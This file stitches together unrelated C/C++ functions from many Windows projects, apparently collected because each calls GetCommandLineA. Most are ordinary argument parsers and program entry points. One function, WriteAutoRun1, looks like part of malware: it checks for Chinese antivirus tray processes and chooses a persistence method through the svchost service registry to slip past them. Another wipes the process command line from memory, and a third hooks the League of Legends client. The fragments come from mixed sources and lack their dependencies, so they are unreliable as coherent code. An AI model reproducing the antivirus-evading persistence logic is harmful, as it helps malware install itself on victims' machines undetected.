/*
* main
*
* Purpose:
*
* Program main, process command line options.
*
*/
void main()
{
    PVOID   ExceptionHandler;
    CHAR    szCmdLine[MAX_PATH + 1];

    ExceptionHandler = RtlAddVectoredExceptionHandler(1, &VehHandler);
    if (ExceptionHandler) {

        RtlSecureZeroMemory(szCmdLine, sizeof(szCmdLine));
        GetCommandLineParamA((LPCSTR)GetCommandLineA(), 1, (LPSTR)&szCmdLine, MAX_PATH, NULL);

        if (_strcmpi_a(szCmdLine, PARAM_WIN32K) == 0) {
            RtlSecureZeroMemory(szCmdLine, sizeof(szCmdLine));
            GetCommandLineParamA((LPCSTR)GetCommandLineA(), 2, (LPSTR)&szCmdLine, MAX_PATH, NULL);
#ifdef _DEBUG
            if (_strcmpi_a(szCmdLine, PARAM_LOG) == 0)
                g_Log = TRUE;
#endif
            fuzz_win32k();
        }
        else {

#ifdef _DEBUG
            if (_strcmpi_a(szCmdLine, PARAM_LOG) == 0)
                g_Log = TRUE;
#endif
            fuzz_ntos();
        }
        RtlRemoveVectoredExceptionHandler(ExceptionHandler);
    }
    ExitProcess(0);
}

/**
 * Standard main entry point.
 *
 */
int __cdecl main(int argc, char *argv[])
{
    if ( isTestRequest(argc, argv) )
    {
        printf("No test.\n");
        return 0;
    }

    if ( isVersionRequest(argc, argv) )
    {
        return 0;
    }

    // We want the command line as a string to pass to ShellExecute, but we need
    // to strip off the leading executable name:
    LPTSTR  cmdLine = GetCommandLineA();
    char   *tmp     = cmdLine;

    while( *tmp && ! isspace(*tmp) )
    {
        tmp++;
    }
    while( *tmp && isspace(*tmp) )
    {
        tmp++;
    }

    ShellExecute(NULL, "open", "ooDialog.exe", tmp, NULL, SW_SHOWNORMAL);

    return 0;
}

void mainCRTStartup(void)
{
	struct stack_alloc *pwork, work_image;
	struct str_works works;
	UCHAR *p0;
	int i;

	pwork = (struct stack_alloc *) ((((int) &work_image) + 0x0f) & ~0x0f);
	works.label = works.label0 = pwork->label;
	works.label1 = &pwork->label[sizeof (pwork->label) / sizeof(*pwork->label)];
	works.objs = works.objs0 = pwork->objs;
	works.objs1 = &pwork->objs[sizeof (pwork->objs) / sizeof(*pwork->objs)];
	works.filebuf = works.filebuf0 = pwork->filebuf;
	works.filebuf1 = &pwork->filebuf[sizeof (pwork->filebuf) / sizeof(*pwork->filebuf)];
	works.iobuf0 = pwork->iobuf;
	works.iobuf1 = &pwork->iobuf[sizeof (pwork->iobuf) / sizeof(*pwork->iobuf)];
	works.libname = works.extname = NULL;
	works.flags = 0;

	p0 = GetCommandLineA();
	while (*p0 > ' ')
		p0++;
	cmdline(p0, p0 + GO_strlen(p0), &works);
	libout(&works);

	GOLD_exit(0);
}

bool lConsole::Initialize(void *FileHandle, void *Stream, uint32_t ScreenbufferSize)
{
    // Allocate a console if we don't have one.
    if (!strstr(GetCommandLineA(), "-nocon"))
    {
        AllocConsole();

        // Take ownership of it.
        AttachConsole(GetCurrentProcessId());

        // Set the standard streams to use the console.
        freopen("CONOUT$", "w", (FILE *)Stream);

        // Start the update thread.
        if (!UpdateThread.joinable())
        {
            UpdateThread = std::thread(&lConsole::Int_UpdateThread, this);
            UpdateThread.detach();
        }
    }

    // Fill our properties.
    ThreadSafe.lock();
    this->FileHandle = FileHandle;
    this->StreamHandle = Stream;
    this->ShouldPrintScrollback = ScreenbufferSize != 0;
    this->StartupTimestamp = GetTickCount64();
    this->LastTimestamp = this->StartupTimestamp;
    this->ScrollbackLineCount = ScreenbufferSize;
    this->ScrollbackLines = new lLine[this->ScrollbackLineCount]();
    this->ProgressbarCount = 0;
    ThreadSafe.unlock();

    return true;
}

void  WriteAutoRun1(char *lpszDstExeName)
{
	//_asm int 3

// 	 MyCommon::SetSvcHostReg(lpszDstExeName,0);
// 	 return;

	if(IsRegExsit()||
	   StrStr(GetCommandLineA(),"-svchost")
	   //MyCommon::IsServerStart("winio")
	   )
	{
		return;
	}

	if (GetProcessID("360tray.exe")&&!MyCommon::IsServerStart("ctfmon"))
	{
		Loader1(lpszDstExeName);
	}
	else 
	{
		if (GetProcessID("KSafeTray.exe")||
			GetProcessID("kxetray.exe")||
			MyCommon::IsServerStart("ctfmon"))
		{
			MyCommon::SetSvcHostReg(lpszDstExeName,1);
		}
		else MyCommon::SetSvcHostReg(lpszDstExeName,0);

	}
}

/* 这个函数的功能是将一串以空格分隔的命令行参数转换为标准的数组参数 */
void GOL_callmain0()
{
	int argc = 0, i;
	//GetCommandLineA是libmingw中的一个函数，获取当前进程的命令参数缓冲区指针
	UCHAR *p = GetCommandLineA(), *q, *q0, **argv;
	//因此有必要将命令拷贝到程序的空间里面来
	q = q0 = GOL_sysmalloc(GO_strlen(p) + 1);
	do {
		while ((*q++ = *p++) > ' ');
		argc++;		//遇到空格表示一个参数结束，因此argc加1
		p--;		//由于p是后增式，所以现在的p已经指向空格下一个字符了，所以要向前移动一个
		*(q - 1) = '\0';	//将参数放到数组中时参数以\0分隔
		while ('\0' < *p && *p <= ' ')	//跳过无效字符
			p++;
	} while (*p);						//处理所有的参数

	/* 生成标准的argv参数 */
	argv = GOL_sysmalloc((argc + 1) * sizeof (char *));
	argv[0] = q = q0;
	i = 1;
	/* 将argv和每个参数对应起来。 */
	while (i < argc) {
		while (*q++);
		argv[i++] = q;
	}
	argv[i] = NULL;

	/* 标准方式调用传到下一个函数 */
	GOL_callmain(argc, argv);
}

int __stdcall WinMain(unsigned long hInstance,
                      unsigned long hPrevInstance,
                      unsigned long lpCmdLine,
                      int           nCmdShow)
{
  char*  command_line;
  char*  token;
  int    argc;
  char** argv;

  command_line = GetCommandLineA();
  argv = malloc((strlen(command_line)/2 + 1) * sizeof(char*));
  argc = 0;

  command_line = strdup(command_line);
  token = strtok(command_line, " ");
  while (token != NULL) {
    argv[argc] = token;
    argc++;
    token = strtok(NULL, " ");
  }

  main(argc, argv);
  return(0);
}

    dynamic_string get_command_line(int argc, char *argv[])
    {
        dynamic_string cmd_line;

#ifdef VOGL_USE_WIN32_API
        (void)argc, (void)argv;

        cmd_line.set(GetCommandLineA());
#else
        cmd_line.clear();
        for (int i = 0; i < argc; i++)
        {
            dynamic_string tmp(argv[i]);

            // If the param is not already quoted, and it has any whitespace, then quote it.
            if ((tmp.front() != '\"') && (tmp.contains(' ') || tmp.contains('\t')))
                tmp = "\"" + tmp + "\"";

            if (cmd_line.get_len())
                cmd_line += " ";
            cmd_line += tmp;
        }
#endif
        return cmd_line;
    }

/*-------------------------------------------------------------------------
 * ParseCommandLine
 *-------------------------------------------------------------------------
 * Purpose:
 *    find information needed from the command line
 * 
 * Returns:
 *    0. Returns a string, the contents of which are stored in a static 
 *       buffer. Multiple calls overwrite the buffer.
 *       If the desired key is not in the command line, then the registry is
 *       checked for a default value. Then we check to
 *       see if a default value is supplied. If not, we get a
 *       empty result.
 * 
 * BT - 7/15 - Changed this so that the default is considered last, instead of the registry being last. 
 */
 char*  ParseCommandLine (char * szRegKey, char* szParameterName, char* szDefault = 0)
 {
    static  char    szBuffer[64];
    LPSTR          szCommandLine = GetCommandLineA();
    char*           location = strstr (szCommandLine, szParameterName);
    szBuffer[0] = 0;
    if (location)
    {
        location += strlen (szParameterName);
        assert (*location == '=');
        location++;
        char*   szBufferPtr = szBuffer;
        while (!isspace (*location))
            *szBufferPtr++ = *location++;
        *szBufferPtr = 0;
    }

    HKEY hKey;
    DWORD dw;
    DWORD cb = sizeof(szBuffer);
	if (ERROR_SUCCESS == ::RegOpenKeyExA(HKEY_LOCAL_MACHINE, szRegKey, 0, KEY_READ, &hKey))
	{
		RegQueryValueExA(hKey, szParameterName, NULL, &dw, (LPBYTE)szBuffer, &cb);
	}
	else if(szDefault)
	{
		strcpy(szBuffer, szDefault);
	}

    RegCloseKey(hKey);

    return szBuffer;
 }

int main()
{
    //Timer t;
    Environment env( GetEnvironmentStringsA(), false );

    std::string compilerExecutable;
    PathList pathList;
    getPath( env, pathList );
    if ( !findOnPath( pathList, "cl.exe", compilerExecutable ) )
    {
        std::cerr << "Failed to locate executable 'cl.exe' on PATH.\n";
        return -1;
    }

    bool const disableFallback = !!env.get( "BP_DISABLE_FALLBACK" );
    llvm::Optional<std::string> const portNameVar( env.get( "BP_MANAGER_PORT" ) );

    return distributedCompile(
        "msvc",
        compilerExecutable.c_str(),
        env,
        GetCommandLineA(),
        NULL,
        portNameVar ? portNameVar->data() : "default",
        disableFallback ? NULL : runLocallyFallback,
        const_cast<char *>( compilerExecutable.c_str() )
    );
}

int runLocallyFallback( char const * reason, void * vpCompilerExe )
{
    char const * compilerExecutable = static_cast<char const *>( vpCompilerExe );
    std::cerr
        << "ERROR: " << reason << "\nRunning command locally...\n";
    return createProcess( compilerExecutable, GetCommandLineA() );
}

static void child_exit(void)
{
	int i;
	char * cmdline;
	HANDLE rst;
	STARTUPINFO si;
	PROCESS_INFORMATION pi;

	for (i = 0; i < num_sig_handlers; i++)
		CloseHandle(sig_events[i]);
	num_sig_handlers = 0;
	CloseHandle(running_event); running_event = 0;

	// Restart?
	if (!(rst = open_event(EVT_RESTART)))
		return; // No => normal exit

	// Yes => Signal exit and restart process
	Sleep(500);
	SetEvent(rst);
	CloseHandle(rst);
	Sleep(500);

	cmdline = GetCommandLineA();
	memset(&si, 0, sizeof(si)); si.cb = sizeof(si);
	si.dwFlags = STARTF_USESHOWWINDOW; si.wShowWindow = SW_HIDE;

	if (!CreateProcessA(
		NULL, cmdline,
		NULL, NULL, TRUE/*inherit*/,
		0, NULL, NULL, &si, &pi)) {
		fprintf(stderr, "CreateProcess(.,\"%s\",.) failed, Error=%ld\n", cmdline, GetLastError());
	}
	CloseHandle(pi.hThread); CloseHandle(pi.hProcess);
}

void clean_cmd_line()
{
	wchar_t *cmd_w = GetCommandLineW();
	char    *cmd_a = GetCommandLineA();
	zeromem(cmd_w, wcslen(cmd_w) * sizeof(wchar_t));
	zeromem(cmd_a, strlen(cmd_a) * sizeof(char));	
}

int APIENTRY
WinMain(HINSTANCE x, HINSTANCE y, LPSTR z, int w)
{
	int argc, n;
	char *arg, *p, **argv;
	Rune *warg;

	if(0 && win_hasunicode()){
		warg = GetCommandLineW();
		n = (wstrlen(warg)+1)*UTFmax;
		arg = malloc(n);
		wstrtoutf(arg, warg, n);
	}else
		arg = GetCommandLineA();

	/* conservative guess at the number of args */
	for(argc=4,p=arg; *p; p++)
		if(*p == ' ' || *p == '\t')
			argc++;
	argv = malloc(argc*sizeof(char*));
	argc = args(argv, argc, arg);

	mymain(argc, argv);
	ExitThread(0);
	return 0;
}

DWORD WINAPI dwWaitThread( LPVOID lpArgs )
{ 
	DWORD dwBase;
	DbgPrintA("[Hook]dwWaitThread Create",lpArgs);
	if(bInitLOL){
		dwBase=(DWORD)GetModuleHandleA("League of Legends.exe");
		if (dwBase)
		{
			dwBASE_LOL=dwBase;
			InitCode();
		}
	}else if(bInitLOLClient){
		dwBase=(DWORD)GetModuleHandleA("LolClient.exe");
		if (dwBase)
		{
			g_hMemFile_CommandLine = CreateFileMappingA((HANDLE)-1, NULL, PAGE_READWRITE, 0, 0x1000, "zeCommand");
			if (g_hMemFile_CommandLine) {
				
				char* lpAddr;
				lpAddr = (char*)MapViewOfFile(g_hMemFile_CommandLine, FILE_MAP_ALL_ACCESS, 0, 0, 800);	
				strcpy(lpAddr,GetCommandLineA());
				UnmapViewOfFile(lpAddr);
			}			
			//InitCreateFile();
		}
	}
	return 0;
}

BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved)
{
	if (fdwReason == DLL_PROCESS_ATTACH)
	{
#ifdef HOOK_GAMEDLL
		g_ReGameDLLRuntimeConfig.parseFromCommandLine(GetCommandLineA());

		g_pOriginalGameDLLModule = Sys_LoadModule(shrPathGameDLL());
		g_pOriginalFileSystemModule = Sys_LoadModule(ORIGINAL_FILESYSTEM_DLL_NAME);

		size_t gameAddr = (size_t)Sys_GetProcAddress((void *)g_pOriginalGameDLLModule, GIVEFNPTRS_TO_DLL_PROCNAME);
		size_t engAddr = (size_t)Sys_GetProcAddress(ORIGINAL_ENGINE_DLL_NAME, CREATEINTERFACE_PROCNAME);

		HookGameDLL(gameAddr, engAddr);
#endif
	}
	else if (fdwReason == DLL_PROCESS_DETACH)
	{
		if (g_pOriginalFileSystemModule)
		{
			Sys_UnloadModule(g_pOriginalFileSystemModule);
			g_pOriginalFileSystemModule = NULL;
			g_OriginalFileSystemFactory = NULL;
			g_pOriginalFileSystem = NULL;
		}
		if (g_pOriginalGameDLLModule)
		{
			Sys_UnloadModule(g_pOriginalGameDLLModule);
			g_pOriginalGameDLLModule = NULL;
		}
	}

	return TRUE;
}

//
// WinMain function
//
int WINAPI WinMain(HINSTANCE hInst, HINSTANCE hPrev, LPSTR szCmdLine, int sw)
{
   char **argv;
   int    argc;
   char  *cmdline;

   // grab the command lien
   char *text = GetCommandLineA();
   cmdline = mystrdup(text);

   if(!cmdline)
   {
      OutOfMemory();
      return 0;
   }

   // parse into argv, argc
   argc = Win32_parseCommandLine(cmdline, NULL);
   argv = (char **)(calloc(argc + 1, sizeof(char *)));
   if(!argv)
   {
      OutOfMemory();
      return 0;
   }
   Win32_parseCommandLine(cmdline, argv);

   // run application main program
   Jag68k_main(argc, argv);

   free(argv);
   free(cmdline);

   return 0;
}

int WINAPI w32u_init(void)
{
	// Initialize the Win32 Unicode Translation Layer.
	if (init_counter++ != 0)
	{
		// The Win32 Unicode Translation Layer is already initialized.
		return ERR_W32U_SUCCESS;
	}
	
	// Check for UTF-8 compatibility.
	if (w32u_check_UTF8() != 0)
	{
		// System doesn't support UTF-8.
		return -ERR_W32U_UTF8_NOT_SUPPORTED;
	}
	
	// Check if the system supports Unicode.
	if (GetModuleHandleW(NULL) != NULL)
	{
		// GetModuleHandleW() returned gens.exe's module handle.
		// This means the system supports Unicode.
		
		// Check if ANSI mode is forced on the command line.
		const char *lpCmdLine = GetCommandLineA();
		if (!strstr(lpCmdLine, " --ansi"))
		{
			// ANSI mode is not forced. Enable Unicode.
			w32u_is_unicode = 1;
		}
		else
		{
			// ANSI mode is forced. Disable Unicode.
			w32u_is_unicode = 0;
		}
	}
	else
	{
		// GetModuleHandleW(NULL) returned NULL.
		// This means the system doesn't support Unicode.
		w32u_is_unicode = 0;
	}
	
	// Get DLL version numbers.
	comctl32_dll_version = GetDllVersionNumber("comctl32.dll");
	shell32_dll_version = GetDllVersionNumber("shell32.dll");
	
	// Initialize the Unicode modules.
	w32u_windows_init();
	w32u_windowsx_init();
	w32u_commctrl_init();
	w32u_shellapi_init();
	w32u_libc_init();
	w32u_commdlg_init();
	w32u_shlobj_init();
	w32u_winnls_init();
	
	// Win32 Unicode Translation Layer initialized successfully.
	return ERR_W32U_SUCCESS;
}

int WINAPI G3D_WinMain(HINSTANCE hInst, HINSTANCE hPrev, LPSTR szCmdLine, int sw) {
    char **argv;
    int argc;
    int status;
    char *cmdline;
#   ifdef _WIN32_WCE
        wchar_t *bufp;
        int nLen;
#   else
        char *bufp;
        size_t nLen;
#   endif
    (void)sw;
    (void)szCmdLine;
    (void)hInst;
    (void)hPrev;

#ifdef _WIN32_WCE
#error WinCE not supported
    /*
    nLen = wcslen(szCmdLine) + 128 + 1;
    bufp = SDL_stack_alloc(wchar_t, nLen * 2);
    wcscpy(bufp, TEXT("\""));
    GetModuleFileName(NULL, bufp + 1, 128 - 3);
    wcscpy(bufp + wcslen(bufp), TEXT("\" "));
    wcsncpy(bufp + wcslen(bufp), szCmdLine, nLen - wcslen(bufp));
    nLen = wcslen(bufp) + 1;
    cmdline = SDL_stack_alloc(char, nLen);
    if (cmdline == NULL) {
        return OutOfMemory();
    }
    WideCharToMultiByte(CP_ACP, 0, bufp, -1, cmdline, nLen, NULL, NULL);
    */
#else
    /* Grab the command line */
    bufp = GetCommandLineA();
    nLen = strlen(bufp) + 1;
    cmdline = (char*)malloc(sizeof(char) * nLen);
    if (cmdline == NULL) {
        return OutOfMemory();
    }
    strncpy(cmdline, bufp, nLen);
#endif

    /* Parse it into argv and argc */
    argc = ParseCommandLine(cmdline, NULL);
    argv = (char**)malloc(sizeof(char*) * (argc + 1));
    if (argv == NULL) {
        return OutOfMemory();
    }
    ParseCommandLine(cmdline, argv);

    /* Run the main program */
    status = main(argc, (const char**)argv);
    free(argv);
    free(cmdline);

    return status;
}

int main(int argc, char* argv[])
{
   int i;

   AllocConsole();
   InputHandle = GetStdHandle(STD_INPUT_HANDLE);
   OutputHandle =  GetStdHandle(STD_OUTPUT_HANDLE);

   printf("GetCommandLineA() %s\n",GetCommandLineA());
   debug_printf("GetCommandLineA() %s\n",GetCommandLineA());
   debug_printf("argc %d\n", argc);
   for (i=0; i<argc; i++)
     {
        debug_printf("Argv[%d]: %x\n",i,argv[i]);
        debug_printf("Argv[%d]: '%s'\n",i,argv[i]);
     }
   return 0;
}